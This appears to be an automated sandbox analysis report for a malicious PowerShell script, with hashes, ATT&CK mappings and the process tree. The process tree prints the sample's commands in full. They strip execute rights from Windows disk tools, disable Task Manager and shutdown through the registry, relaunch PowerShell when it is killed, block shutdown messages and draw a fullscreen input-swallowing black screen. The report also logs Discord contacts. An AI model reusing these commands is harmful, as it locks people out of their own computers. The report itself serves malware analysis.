d329826e5c6001821ffacc1272d6d5d73adffb94cad483d9a27e074f34c8e181

Analysis

max time kernel
28s
max time network
31s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/06/2026, 19:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
trigger.ps1
Size 10KB
Sample260619-ynbx2abs5n
SHA256 d329826e5c6001821ffacc1272d6d5d73adffb94cad483d9a27e074f34c8e181
MD5 121cc47e79f4d4d991862135ea8363be
SHA1 6d39940b02a06f06d31182efee5959bbdb68faeb
SHA512 2d36d5d58afce7bd06d21f9387dc813c5b2020b1952651f2cdee5208bb1d102f9088dd5f16444965b6fa904c11343a68cb1c4b010fbee93bbb59f7961cf9772d
SSDEEP 192:yI0nBYrrkwRWQCcc1KM3Ea9Cpli4ZUaeHfmAK//ZI14EMz6B:ylYrrnYXcc1KAEagpli4MSIwA
TLSH
T1CD22C4657725A166C7F3DB37D887A106EE3B502322629900B8BCD590BF78069C338FC8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution exploit

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3412	PowerShell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3412	PowerShell.exe
3748	powershell.exe
4808	powershell.exe
2956	powershell.exe
4112	powershell.exe
3236	powershell.exe
3092	powershell.exe

Possible privilege escalation attempt 12 IoCs

exploit

pid	Process
1064	takeown.exe
1088	takeown.exe
4752	takeown.exe
1580	icacls.exe
4148	icacls.exe
2884	icacls.exe
5840	icacls.exe
3756	icacls.exe
2920	icacls.exe
3488	takeown.exe
2084	takeown.exe
4416	takeown.exe

Modifies file permissions 1 TTPs 12 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1088	takeown.exe
4752	takeown.exe
5840	icacls.exe
2920	icacls.exe
2084	takeown.exe
4416	takeown.exe
1064	takeown.exe
1580	icacls.exe
4148	icacls.exe
2884	icacls.exe
3756	icacls.exe
3488	takeown.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
2	discord.com

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
3412	PowerShell.exe
3412	PowerShell.exe
4808	powershell.exe
3092	powershell.exe
2956	powershell.exe
3092	powershell.exe
2956	powershell.exe
4808	powershell.exe
3748	powershell.exe
3748	powershell.exe
3748	powershell.exe
4112	powershell.exe
3236	powershell.exe
4112	powershell.exe
3236	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3412	PowerShell.exe
Token: SeTakeOwnershipPrivilege	1088	takeown.exe
Token: SeTakeOwnershipPrivilege	4752	takeown.exe
Token: SeTakeOwnershipPrivilege	1064	takeown.exe
Token: SeTakeOwnershipPrivilege	4416	takeown.exe
Token: SeTakeOwnershipPrivilege	2084	takeown.exe
Token: SeTakeOwnershipPrivilege	3488	takeown.exe
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeDebugPrivilege	3092	powershell.exe
Token: SeDebugPrivilege	2956	powershell.exe
Token: SeDebugPrivilege	3748	powershell.exe
Token: SeIncreaseQuotaPrivilege	3412	PowerShell.exe
Token: SeSecurityPrivilege	3412	PowerShell.exe
Token: SeTakeOwnershipPrivilege	3412	PowerShell.exe
Token: SeLoadDriverPrivilege	3412	PowerShell.exe
Token: SeSystemProfilePrivilege	3412	PowerShell.exe
Token: SeSystemtimePrivilege	3412	PowerShell.exe
Token: SeProfSingleProcessPrivilege	3412	PowerShell.exe
Token: SeIncBasePriorityPrivilege	3412	PowerShell.exe
Token: SeCreatePagefilePrivilege	3412	PowerShell.exe
Token: SeBackupPrivilege	3412	PowerShell.exe
Token: SeRestorePrivilege	3412	PowerShell.exe
Token: SeShutdownPrivilege	3412	PowerShell.exe
Token: SeDebugPrivilege	3412	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	3412	PowerShell.exe
Token: SeRemoteShutdownPrivilege	3412	PowerShell.exe
Token: SeUndockPrivilege	3412	PowerShell.exe
Token: SeManageVolumePrivilege	3412	PowerShell.exe
Token: 33	3412	PowerShell.exe
Token: 34	3412	PowerShell.exe
Token: 35	3412	PowerShell.exe
Token: 36	3412	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	3412	PowerShell.exe
Token: SeSecurityPrivilege	3412	PowerShell.exe
Token: SeTakeOwnershipPrivilege	3412	PowerShell.exe
Token: SeLoadDriverPrivilege	3412	PowerShell.exe
Token: SeSystemProfilePrivilege	3412	PowerShell.exe
Token: SeSystemtimePrivilege	3412	PowerShell.exe
Token: SeProfSingleProcessPrivilege	3412	PowerShell.exe
Token: SeIncBasePriorityPrivilege	3412	PowerShell.exe
Token: SeCreatePagefilePrivilege	3412	PowerShell.exe
Token: SeBackupPrivilege	3412	PowerShell.exe
Token: SeRestorePrivilege	3412	PowerShell.exe
Token: SeShutdownPrivilege	3412	PowerShell.exe
Token: SeDebugPrivilege	3412	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	3412	PowerShell.exe
Token: SeRemoteShutdownPrivilege	3412	PowerShell.exe
Token: SeUndockPrivilege	3412	PowerShell.exe
Token: SeManageVolumePrivilege	3412	PowerShell.exe
Token: 33	3412	PowerShell.exe
Token: 34	3412	PowerShell.exe
Token: 35	3412	PowerShell.exe
Token: 36	3412	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	3412	PowerShell.exe
Token: SeSecurityPrivilege	3412	PowerShell.exe
Token: SeTakeOwnershipPrivilege	3412	PowerShell.exe
Token: SeLoadDriverPrivilege	3412	PowerShell.exe
Token: SeSystemProfilePrivilege	3412	PowerShell.exe
Token: SeSystemtimePrivilege	3412	PowerShell.exe
Token: SeProfSingleProcessPrivilege	3412	PowerShell.exe
Token: SeIncBasePriorityPrivilege	3412	PowerShell.exe
Token: SeCreatePagefilePrivilege	3412	PowerShell.exe
Token: SeBackupPrivilege	3412	PowerShell.exe
Token: SeRestorePrivilege	3412	PowerShell.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 3412 wrote to memory of 612	3412	PowerShell.exe	89
PID 3412 wrote to memory of 2392	3412	PowerShell.exe	91
PID 3412 wrote to memory of 3024	3412	PowerShell.exe	93
PID 3412 wrote to memory of 1992	3412	PowerShell.exe	95
PID 2392 wrote to memory of 1088	2392	cmd.exe	97
PID 3412 wrote to memory of 5768	3412	PowerShell.exe	98
PID 612 wrote to memory of 4752	612	cmd.exe	100
PID 3412 wrote to memory of 1828	3412	PowerShell.exe	101
PID 2392 wrote to memory of 1580	2392	cmd.exe	103
PID 3024 wrote to memory of 1064	3024	cmd.exe	104
PID 612 wrote to memory of 4148	612	cmd.exe	105
PID 1992 wrote to memory of 4416	1992	cmd.exe	106
PID 1828 wrote to memory of 2084	1828	cmd.exe	107
PID 3412 wrote to memory of 1756	3412	PowerShell.exe	108
PID 5768 wrote to memory of 3488	5768	cmd.exe	109
PID 3412 wrote to memory of 988	3412	PowerShell.exe	111
PID 3412 wrote to memory of 5900	3412	PowerShell.exe	112
PID 3024 wrote to memory of 2920	3024	cmd.exe	115
PID 1992 wrote to memory of 5840	1992	cmd.exe	116
PID 1828 wrote to memory of 2884	1828	cmd.exe	117
PID 5768 wrote to memory of 3756	5768	cmd.exe	118
PID 988 wrote to memory of 4712	988	cmd.exe	119
PID 5900 wrote to memory of 1284	5900	cmd.exe	120
PID 1756 wrote to memory of 5656	1756	cmd.exe	121
PID 3412 wrote to memory of 4172	3412	PowerShell.exe	122
PID 3412 wrote to memory of 4808	3412	PowerShell.exe	123
PID 3412 wrote to memory of 3092	3412	PowerShell.exe	126
PID 3412 wrote to memory of 2956	3412	PowerShell.exe	128
PID 4172 wrote to memory of 4772	4172	cmd.exe	130
PID 3412 wrote to memory of 3748	3412	PowerShell.exe	131
PID 3412 wrote to memory of 4112	3412	PowerShell.exe	134
PID 3412 wrote to memory of 3236	3412	PowerShell.exe	136

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3412
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskpart.exe" && icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:612
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\diskpart.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4752
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4148
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\format.com" && icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2392
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\format.com"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1088
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1580
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\cleanmgr.exe" && icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\cleanmgr.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1064
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2920
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\defrag.exe" && icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\defrag.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4416
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5840
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskmgmt.msc" && icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5768
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\diskmgmt.msc"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3488
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3756
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\compmgmt.msc" && icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1828
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\compmgmt.msc"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2084
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2884
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1756
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
    3⤵
    PID:5656
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:988
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
    3⤵
    PID:4712
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5900
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:1284
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4172
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
    3⤵
    PID:4772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-Type -TypeDefinition @" using System; using System.Windows.Forms; public class BlockShutdown : Form { protected override void WndProc(ref Message m) { if (m.Msg == 0x11) { m.Result = (IntPtr)0; return; } base.WndProc(ref m); } } "@ [Application]::Run(new-object BlockShutdown())
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Hide { [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll")] public static extern bool SetProcessInformation(IntPtr hProcess, int ProcessInformationClass, IntPtr ProcessInformation, uint ProcessInformationSize); } "@ $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) [System.Runtime.InteropServices.Marshal]::WriteInt32($ptr, 0x1) [Hide]::SetProcessInformation([Hide]::GetCurrentProcess(), 0, $ptr, 4)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName='powershell.exe'" -Action { if ($Event.SourceEventArgs.NewEvent.ProcessName -eq 'powershell') { Start-Process -WindowStyle Hidden -FilePath "powershell.exe" -ArgumentList "-File "" -keep" } }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing $form = New-Object System.Windows.Forms.Form $form.FormBorderStyle = 'None' $form.WindowState = 'Maximized' $form.TopMost = $true $form.ControlBox = $false $form.BackColor = 'Black' $form.Opacity = 1.0 $form.ShowInTaskbar = $false $form.KeyPreview = $false $form.Capture = $true $form.Add_KeyDown({ $_.SuppressKeyPress = $true }) $form.Add_MouseClick({ return }) $form.Add_MouseMove({ return }) $form.Add_Resize({ return }) $form.Add_Paint({ $_.Graphics.FillRectangle([System.Drawing.Brushes]::Black, $form.ClientRectangle) }) $form.ShowDialog()
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-Type -AssemblyName System.Windows.Forms $form = New-Object System.Windows.Forms.Form $form.FormBorderStyle = 'None' $form.WindowState = 'Maximized' $form.BackColor = 'Black' $form.TopMost = $true $label = New-Object System.Windows.Forms.Label $label.Text = "Shutting down..." $label.ForeColor = 'White' $label.Font = New-Object System.Drawing.Font("Arial", 24) $label.AutoSize = $true $label.Location = New-Object System.Drawing.Point((($form.Width - $label.Width)/2), (($form.Height - $label.Height)/2)) $form.Controls.Add($label) $form.ShowDialog()
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3236

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 2275c8de0124592dcc6bba0c3d22f81a616bafd1341cf8fcc58a990cd537bb05
MD5 d359f5b6576a0e6f7b91210b7de50371
SHA1 afbc9560bcd8dceec100fce616be951601a83d51
SHA512 c7660bda8229cfbcabc1926ef8d1f0613ba33f56c7a1d4b652beef413f7d1e313b247545cb1e7713e3b03cf0fceb23e9ab6d7755f13f8904c82d0d0975231bf2
SSDEEP 1536:AKLg07Yo2hkovpfKQVAflJdpCUp9YWh4iUxpR40i71YigMQyPTOdBcV3CNBQkj2P:AKLg07Yo2hkovpfKQVAflJd0Up9YWqiP
TLSH
T132637292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 952B
SHA256 c5fd6d82c388ad801b8a16d62216433d22b114b18c307ac3bee3d174cae51da7
MD5 facb860dc497b8851684541a3c9d25b5
SHA1 53200894cb03ad2100b8423fcbf387799ecc8910
SHA512 a7aead2fcab58a73696e52e3a85d67c2849c08fea91a6146654000d0cbcbabfa3b15a22a944cef8af6ea77370cbaa383dc9a462f43a3dbf4113a2cd00febe928
TLSH
T1D7114433F3CC8624DC59403650CEA91136B687CB409ECE6B7B84D154A42F689DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 952B
SHA256 1321a719825d2d8d2d9135e551e460635bdfeb75be0927c3df7bfb87c450b575
MD5 7e77eb6f40342772dc4bcf96f554af0f
SHA1 744fbbf1d38f6c69236842d3cc06e4136a197df7
SHA512 a839aed2c316ecda5423bb46e63af0b83cadf6af07467a765d2bf7ae99e458280535dbdc380b053d6c6c5c3452ff26c2e4f6946045530e0e3ee169643e78c212
TLSH
T1F7116633F3CC8624DC59403650CEAD1137B687CB40DEDE6B7B84D155B82F689DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_xfsdqvep.csk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xfsdqvep.csk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3412-11-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-30-0x000001D139E20000-0x000001D139E3E000-memory.dmp

Download

memory/3412-8-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-9-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-10-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-0-0x00007FFD69B9F000-0x00007FFD69BA0000-memory.dmp

Download

memory/3412-12-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-14-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-17-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-16-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-15-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-13-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-18-0x000001D139F80000-0x000001D13A0F6000-memory.dmp

Download

memory/3412-19-0x000001D13A310000-0x000001D13A51A000-memory.dmp

Download

memory/3412-6-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-7-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-31-0x000001D139E40000-0x000001D139EF2000-memory.dmp

Download

memory/3412-33-0x000001D139E10000-0x000001D139E1A000-memory.dmp

Download

memory/3412-34-0x000001D139F30000-0x000001D139F5A000-memory.dmp

Download

memory/3412-35-0x000001D139F30000-0x000001D139F54000-memory.dmp

Download

memory/3412-5-0x000001D1398C0000-0x000001D1398E2000-memory.dmp

Download

memory/3412-2-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-61-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-60-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-1-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3412-52-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

Download

memory/3748-47-0x0000018C77030000-0x0000018C77036000-memory.dmp

Download

memory/3748-48-0x0000018C77040000-0x0000018C7704A000-memory.dmp

Download

memory/3748-46-0x0000018C76CA0000-0x0000018C76CA8000-memory.dmp

Download

memory/3748-45-0x0000018C77050000-0x0000018C7706C000-memory.dmp

Download

memory/3748-44-0x0000018C76C90000-0x0000018C76C9A000-memory.dmp

Download

memory/3748-43-0x0000018C76CB0000-0x0000018C76CCE000-memory.dmp

Download